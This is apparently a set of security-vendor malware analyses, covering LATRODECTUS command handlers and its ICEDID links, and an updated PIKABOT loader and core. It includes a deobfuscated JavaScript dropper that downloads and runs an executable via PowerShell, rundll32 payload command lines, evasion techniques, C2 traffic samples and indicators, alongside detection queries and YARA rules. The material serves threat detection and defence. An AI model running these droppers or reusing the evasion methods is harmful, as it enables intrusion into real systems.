C:\Windows\System32\cmd.exe /c net view /all /domain
C:\Windows\System32\cmd.exe /c net view /all
C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain
C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\cmd.exe /c net config workstation
C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:\Windows\System32\cmd.exe /c whoami /groups

Each output is placed into URI with corresponding collected data:

&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=

Download and execute PE - command ID (12)

This handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.

Below is an example in our environment using this handler:

Download and execute DLL - command ID (13)

This command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.

Download and execute shellcode - command (14)

This command handler downloads shellcode from the C2 server via InternetReadFile, allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.

Update / restart - command ID (15)

This handler appears to perform a binary update to the malware where it’s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.

Terminate - command ID (17)

This handler will terminate the existing LATRODECTUS process.

Download and execute hosted ICEID payload - command ID (18)

This command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned rundll32.exe process. We haven’t personally observed this being used in-the-wild, however.

The handler creates a folder containing two files to the AppData\Roaming\ directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is:

C:\Users\REM\AppData\Roaming\-632116337

It retrieves a file (test.dll) from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (-456638727.dll).

LATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (1431684209.dat). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it’s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.

init -zzzz="-632116337\1431684209.dat"

LATRODECUS initiates a second download request using a hard-coded URI (/files/bp.dat) from the configured C2 server, which is written to a file (1431684209.dat). Analyzing the bp.dat file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as license.dat.

bp.dat)" title="Encrypted ICEDID payload (bp.dat)" />

After decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers.

bp.dat)" title="Decrypted ICEDID payload (bp.dat)" />

Our team was able to revisit prior tooling and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).

bp.dat" title="ICEDID YARA triggering on rebuilt PE from bp.dat" />

At this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.

These files are then executed together using rundll32.exe via CreateProcessW with their respective arguments. Below is the observed command-line:

rundll32.exe C:\Users\REM\AppData\Roaming\-632116337\-456638727.dll,init -zzzz="-632116337\1431684209.dat"

Rundll32.exe execution" title="Rundll32.exe execution" />

Scanning the rundll32.exe child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID.

Beacon timeout - command ID (19)

LATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.

In order to calculate the timeout, it generates a random number by seeding a combination of the user’s cursor position on the screen multiplied by the system’s uptime (GetTickCount). This result is passed as a parameter to RtlRandomEx.

Reset counter - command ID (20)

This command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.

counter=3&type=4&guid=638507385

LATRODECTUS / ICEDID connection

There definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:

Same enumeration commands in the system discovery handler
The DLL exports all point to same export function address, this was a common observation with ICEDID payloads
C2 data is concatenated together as variables in the C2 traffic requests
The bp.dat file downloaded from handler (#18) is used to execute the ICEDID payload via rundll32.exe
The functions appear to be similarly coded

Researchers didn’t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the BackConnect module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS’ capabilities.

Sandboxing LATRODECTUS

To evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.

As an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:

COMMAND|13|http://www.meow123.com/dll, ShowMessage

The following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.

E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=

Using the following CyberChef recipe, analysts can generate encrypted command requests:

Using the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation.

Detecting LATRODECTUS

The following Elastic Defend protection features trigger during the LATRODECTUS malware infection process:

Below are the prebuilt MITRE ATT&CK-aligned rules with descriptions:

| ATT&CK technique | Elastic Rule | Description | | ----- | ----- | ----- | | T1059.007 - Javascript T1027 - Obfuscated Files or Information | Suspicious Oversized Script Execution | LATRODECTUS is delivered via oversized Javascript files, on average more than 800KB filled with random text. | | T1047 - Windows Management Instrumentation | Execution via a Suspicious WMI Client | Javascript dropper invokes WMI to mount a WEBDAV share and invokes msiexec to install a remote msi file. | | T1218.007 - Misexec | Remote File Execution via MSIEXEC Suspicious MsiExec Child Process | MSI file hosted on remote Webdav and executed in quiet mode. Once executed it drops a DLL and launches rundll32 to load it via the Advanced installer viewer.exe binary. | | T1218.011 - Rundll32 | Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory | Rundll32 loads the LATRODECTUS DLL from AppData and starts code injection. | | T1055 - Process Injection | Memory Threat Detection Alert: Shellcode Injection VirtualProtect API Call from an Unsigned DLL Shellcode Execution from Low Reputation Module Network Module Loaded from Suspicious Unbacked Memory | Shellcode execution triggers 3 endpoint behavior alerts and a memory threat detection alert. | | T1053.005 - Scheduled Task | Scheduled Task Creation by an Unusual Process | LATRODECTUS may persist using scheduled tasks (rundll32 will create a scheduled task). | | T1070.004 - File Deletion | Potential Self Deletion of a Running Executable | Part of the malware DLL self update command and also when the DLL is not running from AppData, LATRODECTUS will delete itself while running and restart from the new path or running an updated version of itself leveraging this technique. | | T1059.003 - Windows Command Shell | Command Shell Activity Started via RunDLL32 | LATRODECTUS Command ID (4) - Collect system information via a series of cmd.exe execution. |

The following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:

Rundll32 Download PE/DLL (command handlers #12, #13 and #18):

sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and 
 /* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*"]
[network where process.name : "rundll32.exe" and 
   event.action : ("disconnect_received", "connection_attempted") and 
   /* network disconnect activity to a public Ip address */
   not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8", "192.168.0.0/16")]

Below is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon):

from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
 network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
 not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100

Below is a screenshot of Elastic Defend triggering on the LATRODECTUS memory signature:

YARA

Elastic Security has created YARA rules to identify LATRODECTUS:

rule Windows_Trojan_LATRODECTUS_841ff697 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-03-13"
        last_modified = "2024-04-05"
        license = "Elastic License v2"
         os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.LATRODECTUS"
        reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"


    strings:
        $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
        $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
        $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
        $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
        $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
        $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
        $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
        $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
    condition:
        2 of them
}

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | --- | --- | --- | --- | | aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c | SHA-256 | TRUFOS.DLL | LATRODECTUS | | aytobusesre.com | domain | | LATRODECTUS C2 | | scifimond.com | domain | | LATRODECTUS C2 | | gyxplonto.com | domain | | ICEDID C2 | | neaachar.com | domain | | ICEDID C2 |

References

The following were referenced throughout the above research:

Tooling

String decryption and IDA commenting tool

PIKABOT, I choose you!

Daniel Stepanic,Salim Bitam — Sat, 24 Feb 2024 00:00:00 GMT

PIKABOT at a glance

PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.

This post will highlight the initial campaign, break down the new loader functionality, and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.

During the development of this research, the ThreatLabz team at Zscaler released great analysis and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.

Key takeaways

Fresh campaigns involving significant updates to the PIKABOT loader and core components
PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from .data section
Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications
PIKABOT development appears as a work-in-progress, with future updates likely imminent
Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly

PIKABOT campaign overview

As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.

Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
    var obj = new ActiveXObject("WScript.Shell")
    obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

PIKABOT loader

Loader stage 1

To appear authentic, the developer tampered with a legitimate search and replace tool called grepWinNP3.exe from this repository. Using our internal sandboxing project (Detonate) and leveraging Elastic Defend’s call stack feature provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.

An analysis of the call stack data reveals that execution begins at a call before offset 0x81aa7 within the malicious file; the execution then leaps to a memory allocation at a call prior to offset 0x25d84. Furthermore, it was observed that the process creation call stack is missing normal calls to KernelBase.dll!CreateProcessInternalW and ntdll.dll!NtCreateUserProcess, due to the use of a syscall via shellcode execution residing in the unbacked memory. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.

Looking into the offset 0x81aa7 of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the grepWinNP3.exe file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.

The malicious code employs heavy obfuscation, utilizing a technique where a jump (JMP) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.

The loader extracts its stage 2 payload from the .text section, where it is stored in chunks of 0x94 bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.

The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.

Loader stage 2

The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.

Anti-debugging

The malware utilizes specific NTDLL Zw APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.

It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a Zw API name as a parameter.

The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the Zw function name. After finding the correct syscall ID, it uses the Wow64Transition Windows API to execute the syscall in 64-bit mode.

WoW64Transition" title="Control flow graph showing syscall passed to WoW64Transition" />

Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a ZwQueryInformationProcess call with the ProcessInformationClass set to ProcessDebugPort(7):

The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:

Calling ZwQuerySystemInformation with the SystemKernelDebuggerInformation parameter to detect the presence of kernel debuggers.
Calling ZwQueryInformationProcess with the ProcessInformationClass set to ProcessDebugPort to identify any debugging ports associated with the process.
Calling ZwQueryInformationProcess again, but with the ProcessInformationClass set to ProcessDebugFlags parameter, to ascertain if the process has been flagged for debugging.
Inspecting the Process Environment Block (PEB) for the BeingDebugged flag, which indicates if the process is currently being debugged.
Using GetThreadContext to detect hardware breakpoints. Scanning the list of currently running processes to identify any active debugging or forensic tools.

Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.

Execution

The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for Zw APIs.

Below is the reconstructed structure:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Loader structure

The malware then consolidates bytes of the PIKABOT core that are scattered in the .data section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.

It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.

After consolidating the decrypted bytes, it uses the RtlDecompressBuffer API to decompress them.

The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the ZwAllocateVirtualMemory syscall to house the PIKABOT core's PE file.

Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the ZwWriteVirtualMemory syscall. It then redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API to change the thread's execution address. Finally, it resumes the thread with ZwResumeThread syscall.

PIKABOT core

The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.

The notable differences include:

New style of obfuscation with fewer in-line functions
Multiple implementations for decrypting strings
Plaintext configuration at runtime, removal of JSON format
Network communication uses RC4 plus byte swapping, removal of AES

Obfuscation

One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.

Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.

String Decryption

As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.

Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.

In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using netapi32.dll:

netapi32.dll" title="Stack string placement using netapi32.dll" />

Anti-debugging

In terms of anti-debugging in this version, PIKABOT checks the BeingDebuggedFlag in the PEB along with using CheckRemoteDebuggerPresent. In our sample, a hardcoded value (0x2500) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.

Execution

Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using GetUserDefaultLangID. If the LangID is set to Russian (0x419) or Ukranian (0x422), the malware will immediately stop its execution.

After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by RtlRandomEx and then place the key into the config structure to be used later during its network communications.

Initial Collection

The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:

Retrieves the name of the user associated with the PIKABOT thread
Retrieves the computer name
Gets processor information
Grabs display device information using EnumDisplayDevicesW
Retrieves domain controller information using DsGetDcNameW
Collects current usage around physical and virtual memory using GlobalMemoryStatusEx
Gets the window dimensions using GetWindowRect used to identify sandbox environments
Retrieves Windows OS product information using RtlGetVersion
Uses CreateToolhelp32Snapshot to retrieve process information

Config

One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.

Network

PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as 1.8.32-beta.

On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (0x10). As mentioned previously, PIKABOT no longer uses AES in its network communications.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

PIKABOT initial check-in request

For each outbound network request, PIKABOT randomly chooses one of the following URI’s:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

List of URI’s used in PIKABOT C2 requests

Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.

There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (0x18) at offset (0xF) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (0xDA 0x9E).

Bot Functionality

In terms of the core bot functionality, it is similar to previous versions: executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (0x982) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.

| Command ID | Description | |------------|-------------| | 0x1FED | Beacon timeout | | 0x1A5A | Exits the PIKABOT process | | 0x2672 | Includes obfuscation, but appears to not do anything meaningful | | 0x246F | Creates file on disk and modifies registry tied to configuration | | 0xACB | Command-line execution with output | | 0x36C | PE inject in a remote process | | 0x792 | Shellcode inject in a remote process | | 0x359, 0x3A6, 0x240 | Command-line execution similar to 0xACB, uses custom error code (0x1B3) | | 0x985 | Process enumeration, similar to initial victim collection enumeration | | 0x982 | Empty function |

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting malware

Prevention

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------|-------------|-------------|-------------| | 2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256 | Opc.zip | Zip archive holding obfuscated Javascript | | ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d| SHA-256 | grepWinNP3.exe | PIKABOT loader | | 139.84.237[.]229:2967 | ipv4-addr | | PIKABOT C2 server | | 85.239.243[.]155:5000 | ipv4-addr | | PIKABOT C2 server | | 104.129.55[.]104:2223 | ipv4-addr | | PIKABOT C2 server | | 37.60.242[.]85:9785 | ipv4-addr | | PIKABOT C2 server | | 95.179.191[.]137:5938 | ipv4-addr | | PIKABOT C2 server | | 65.20.66[.]218:5938 | ipv4-addr | PIKABOT C2 server | | 158.220.80[.]157:9785 | ipv4-addr | PIKABOT C2 server | | 104.129.55[.]103:2224 | ipv4-addr | PIKABOT C2 server | | 158.220.80[.]167:2967 | ipv4-addr | PIKABOT C2 server | | entrevientos.com[.]ar | domain | | Hosting infra for zip archive | | gloverstech[.]com | domain | | Hosting infra for PIKABOT loader |

References

The following were referenced throughout the above research:

Appendix

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe

Unmasking a Financial Services Intrusion: REF0657

Daniel Stepanic,Salim Bitam,Andrew Pease — Wed, 31 Jan 2024 00:00:00 GMT

Preamble

